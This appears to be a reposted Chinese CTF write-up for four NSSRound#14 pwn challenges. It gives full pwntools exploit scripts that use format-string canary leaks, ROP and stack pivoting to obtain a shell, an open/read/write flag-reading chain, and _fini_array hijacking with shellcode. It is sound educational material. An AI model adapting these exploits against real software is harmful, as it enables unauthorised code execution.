NSSRound#14 Basic栈题复现

admin 2023年8月6日02:10:02评论18 views字数 7359阅读24分31秒阅读模式

NSSRound#14 

Basic栈题复现


love

NSSRound#14 Basic栈题复现

主要考点:格式化字符串,ROP

checksec

NSSRound#14 Basic栈题复现

开启了nx和canary保护


ida

NSSRound#14 Basic栈题复现
NSSRound#14 Basic栈题复现

main函数中存在格式化字符串漏洞,在vuln函数中存在gets函数溢出

20

23

思路

格式化字符串修改v4与v5相等进入vuln并泄露canary构造ROP链getshell

20

23

GDB调试

NSSRound#14 Basic栈题复现

v4=555=0x22b      v5=520=0x208


格式化字符串前六个参数储存在寄存器中,我们便能判断出0x7fffffffdde0中为格式化字符串的第6个参数接着向下数我们可以得出v4,v5,v6(储存了v4的地址)分别为第7,8,9个参数

canary是一串随机数但以00结尾,可以发现0x7fffffffde28处,即第15个参数存储着canary


利用脚本如下:

```pythonpayload = "%"+str(0x08)+"c%9$hhn"+'%15$p'#%9$hhn将第九个参数存储的地址对应的数据修改一字节io.sendlineafter('Tokann',payload)io.recvuntil('xc0')canary = int(io.recv(18),16)```


效果:

NSSRound#14 Basic栈题复现

接下来基本ROP即可。

NSSRound#14 Basic栈题复现


完整exp:

```pythonfrom pwn import*context.log_level = "debug"io = process('./pwn')#io = remote('node4.anna.nssctf.cn',28207)elf = ELF('./pwn')#libc = ELF('./libc.so.6')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
payload = "%"+str(0x08)+"c%9$hhn"+'%15$p'io.sendlineafter('Tokann',payload)io.recvuntil('xc0')canary = int(io.recv(18),16)print("canary:"+hex(canary))
pop_rdi_ret = 0x4013f3puts_got = elf.got['puts']puts_plt = elf.plt['puts']ret_addr = 0x40101apause()payload1 = b'a'*0x28+p64(canary)+p64(0) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(0x40125D)
io.sendlineafter('levelnn',payload1)
#puts_addr = u64(io.recv(6).ljust(8,b"x00"))puts_addr = u64(io.recvuntil('x7f')[-6:].ljust(8,b'x00'))print(hex(puts_addr))

libc_base = puts_addr - libc.sym["puts"]system = libc_base + libc.symbols['system']binsh = libc_base+next(libc.search(b"/bin/shx00"))
print(hex(system))print(hex(binsh))payload2 = b'a'*0x28+p64(canary)+p64(0) + p64(ret_addr) + p64(pop_rdi_ret) +p64(binsh) + p64(system)
io.sendlineafter('levelnn',payload2)io.interactive()```


rbp

NSSRound#14 Basic栈题复现


考点:栈迁移,ret2csu,沙箱orw


checksec

NSSRound#14 Basic栈题复现

ida

NSSRound#14 Basic栈题复现

栈溢出只能溢出到返回地址,并且开启了沙箱,只有orw功能


20

23

思路

通过栈迁移扩大溢出范围泄露libc再利用orw配合读取flag


20

23

过程

首先在调试过程中发现覆盖返回地址为main函数无效,只能覆盖为start函数以循环读写

```pythonbuf=elf.bss()payload=b'a'*0x210+p64(buf+0x800)+p64(0x401292)#startio.send(payload)```


本题难点:

由于既要ROP泄露libc又要实现循环,所以我们要利用pop rbp;ret伪造程序执行结束使其执行下一个程序执行流

```pythonpayload=p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])```


铺上要泄露的函数

```pythonpayload+=p64(csu1)+p64(0)+p64(1)+p64(0)+p64(0x4046f0)+p64(0x100)+p64(elf.got['read'])payload+=p64(csu2)+b'a'*0x38+p64(0x4011bd) #pop rbp```


利用ret2csu伪造read函数并伪造程序执行

```pythonpayload=payload.ljust(0x210,b'b')+p64(0x404870-0x220-8)+p64(leave)```


最后覆盖返回地址为ROP链起始地址并将栈迁移


效果如下:

NSSRound#14 Basic栈题复现

然后构造orw链插入执行即可获取flag

```pythoncat=p64(rdi)+p64(0x4047a0)+p64(rsi)+p64(0)*2+p64(open_)cat+=p64(rdi)+p64(3)+p64(rsi)+p64(buf+0x500)+p64(0)+p64(rdx)+p64(0x30)+p64(read_)cat+=p64(rdi)+p64(1)+p64(rsi)+p64(buf+0x500)+p64(0)+p64(rdx)+p64(0x30)+p64(write_)+b'flagx00'```
NSSRound#14 Basic栈题复现


完整exp:

```pythonfrom pwn import *io=process('./rbp')#io=remote('node2.anna.nssctf.cn',28561)elf=ELF('./rbp')#libc=ELF('./libc.so.6')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')def dbg():    gdb.attach(io,'b *0x4012bd')    pause()csu_end_addr=0x040134Acsu_front_addr=0x401330def csu(rbx, rbp, r12, r15, r14, r13, last):    # pop rbx,rbp,r12,r13,r14,r15    # rbx should be 0,    # rbp should be 1,enable not to jump    # r12 should be the function we want to call()    # rdi=edi=r15d    # rsi=r14    # rdx=r13    # csu(0, 1, fun_got, rdx, rsi, rdi, last)    payload = b""    payload += p64(csu_end_addr)     payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)    payload += p64(csu_front_addr)    payload += b'a' * 0x38      payload += p64(last)      return payload

buf=elf.bss()payload=b'a'*0x210+p64(buf+0x800)+p64(0x401292)io.send(payload)
csu1=0x040134Acsu2=0x401330rdi=0x0401353leave=0x04012BFrsi=0x0401351ret=0x040101a rbp = 0x4011bd#dbg()#payload=p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+csu(0,1,0,0x4046f0,0x100,elf.got['read'],rbp)#payload=payload.ljust(0x210,b'b')+p64(0x404870-0x220-8)+p64(leave)payload=p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])payload+=p64(csu1)+p64(0)+p64(1)+p64(0)+p64(0x4046f0)+p64(0x100)+p64(elf.got['read'])payload+=p64(csu2)+b'a'*0x38+p64(0x4011bd) #pop rbppayload=payload.ljust(0x210,b'b')+p64(0x404870-0x220-8)+p64(leave)
io.send(payload)dbg()libc_addr=u64(io.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))-libc.sym['puts']print('libc_addr :'+hex(libc_addr))
#print('system :'+hex(buf+0x500))
# system=libc_addr+libc.sym['system']
# binsh=libc_addr+next(libc.search(b'/bin/shx00'))
open_=libc_addr+libc.sym['open']read_=libc_addr+libc.sym['read']write_=libc_addr+libc.sym['write']rdx=libc_addr+0x166262#rdx = libc_addr+libc.sym['rdx']
cat=p64(rdi)+p64(0x4047a0)+p64(rsi)+p64(0)*2+p64(open_)cat+=p64(rdi)+p64(3)+p64(rsi)+p64(buf+0x500)+p64(0)+p64(rdx)+p64(0x30)+p64(read_)cat+=p64(rdi)+p64(1)+p64(rsi)+p64(buf+0x500)+p64(0)+p64(rdx)+p64(0x30)+p64(write_)+b'flagx00'dbg()io.send(cat)io.interactive()```


xor

NSSRound#14 Basic栈题复现

考点:_fini_array劫持,shellcode


checksec

NSSRound#14 Basic栈题复现

ida

NSSRound#14 Basic栈题复现
NSSRound#14 Basic栈题复现

什么保护都没开,并且有一个任意地址写一字节的功能


但flag值为零,正常情况下只能写一次


调试后发现flag为int类型,所以可以通过覆盖高位整数溢出使其为负数实现多次地址写

```pythonwrite_value(b"0x600bcf", b"0xff")```


程序中没有执行函数,所以我们便可以考虑通过劫持程序exit结束时调用的函数数组执行shellcode

参考阅读

[_fini_array](https://meteorpursuer.github.io/2021/03/10/%E6%B5%85%E8%B0%88exit%E5%87%BD%E6%95%B0%E7%9A%84%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F%E4%B9%8B%E4%BA%8C%E2%80%94%E2%80%94fini_array/)


NSSRound#14 Basic栈题复现
NSSRound#14 Basic栈题复现

并且发现对应地址有rwx权限


在对应地址注入shellcode并通过xor函数异或修改对应地址的数据为shellcode地址

```pythonwrite_value(b"0x600970", b"0x70")write_value(b"0x600971", b"0x0a")write_value(b"0x600972", b"0x20")shellcode = asm(shellcraft.sh())
for i in range(len(shellcode)): write_value(hex(0x600c60+i).encode(), hex(shellcode[i]).encode())```

修改前

NSSRound#14 Basic栈题复现
NSSRound#14 Basic栈题复现
NSSRound#14 Basic栈题复现

修改后:

NSSRound#14 Basic栈题复现


NSSRound#14 Basic栈题复现

最后将flag值改回去执行_fini_array指向的shellcode


完整exp:

```pythonfrom pwn import *context.log_level = "debug"context.arch = "amd64"#libc = ELF('./libc.so.6')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')io = process("./xor")#io = remote('node4.anna.nssctf.cn',28013)def debug():    gdb.attach(io)    pause()def write_value(addr, value):    io.sendlineafter(b"addr: ", addr)    io.sendlineafter(b"value: ", value)write_value(b"0x600bcf", b"0xff")debug()write_value(b"0x600970", b"0x70")write_value(b"0x600971", b"0x0a")write_value(b"0x600972", b"0x20")#debug()shellcode = asm(shellcraft.sh())
for i in range(len(shellcode)): write_value(hex(0x600c60+i).encode(), hex(shellcode[i]).encode())debug()write_value(b"0x600bcf", b"0xff")#debug()io.interactive()```


readfile

NSSRound#14 Basic栈题复现

考点:stdin读取,ret2text


checksec

NSSRound#14 Basic栈题复现

ida

NSSRound#14 Basic栈题复现
NSSRound#14 Basic栈题复现

20

23

思路

read功能中scanf(%8s)覆盖末位的造成stdin读取再ret2text


20

23

过程

由于read中有一个检测机制所以我们要先输入一个非flag字段的filename使file_flag=1


随后输入带有flag字段的filename使file_fd=0



效果:

NSSRound#14 Basic栈题复现
NSSRound#14 Basic栈题复现

令fd为零后我们便可在read功能中自己发送数据了

NSSRound#14 Basic栈题复现

随后覆盖低位stdin读取libc

```pythonread_file(0x60)payload = 8*b"a"io.send(payload)debug()io.recvuntil(b"file_content : "+8*b"a")leak_libc = u64(io.recvuntil(b"n", drop=True).ljust(8, b""))```


由于要溢出,所以要进入readmore中,能够多读入56字节


然后GDB调试看看填充数据大小

NSSRound#14 Basic栈题复现


NSSRound#14 Basic栈题复现

可以发现filecontent读入的数据距离rbp为0x40,所以填充0x40+8个字节的垃圾数据


再打入rop链即可

```pythonpayload = 0x48*b""+p64(ret)payload += p64(rdi_ret)+p64(binsh)payload += p64(system)io.sendafter(b"read more n", payload)```


完整exp:

```pythonfrom pwn import *context.log_level = "debug"#libc = ELF("./libc.so.6")libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')io = process("./pwn")#p = remote("node2.anna.nssctf.cn", 28930)def debug():    gdb.attach(io)    pause()def cmd(i):    io.sendlineafter(b">> ", str(i).encode())def load_file(name):    cmd(1)    io.sendlineafter(b"file_name : ", name)def read_file(length):    cmd(2)    io.sendlineafter(b"file_content_length : ", str(length).encode())load_file(b"pwn")debug()
# gdb.attach(p)
load_file(b"flag.txt")debug()read_file(0x60)payload = 8*b"a"io.send(payload)debug()io.recvuntil(b"file_content : "+8*b"a")leak_libc = u64(io.recvuntil(b"n", drop=True).ljust(8, b""))print("leak:"+hex(leak_libc))#fivelibc_base = leak_libc-0x887e3
# gdb.attach(p)
read_file(0x30)
ret = 0x000000000040101ardi_ret = libc_base+0x0000000000023b65
binsh = libc_base+next(libc.search(b"/bin/sh"))system = libc_base+libc.sym["system"]payload = 0x48*b""+p64(ret)payload += p64(rdi_ret)+p64(binsh)payload += p64(system)debug()io.sendafter(b"read more n", payload)
io.interactive()```


原文始发于微信公众号(火炬木攻防实验室):NSSRound#14 Basic栈题复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月6日02:10:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   NSSRound#14 Basic栈题复现https://cn-sec.com/archives/1950119.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息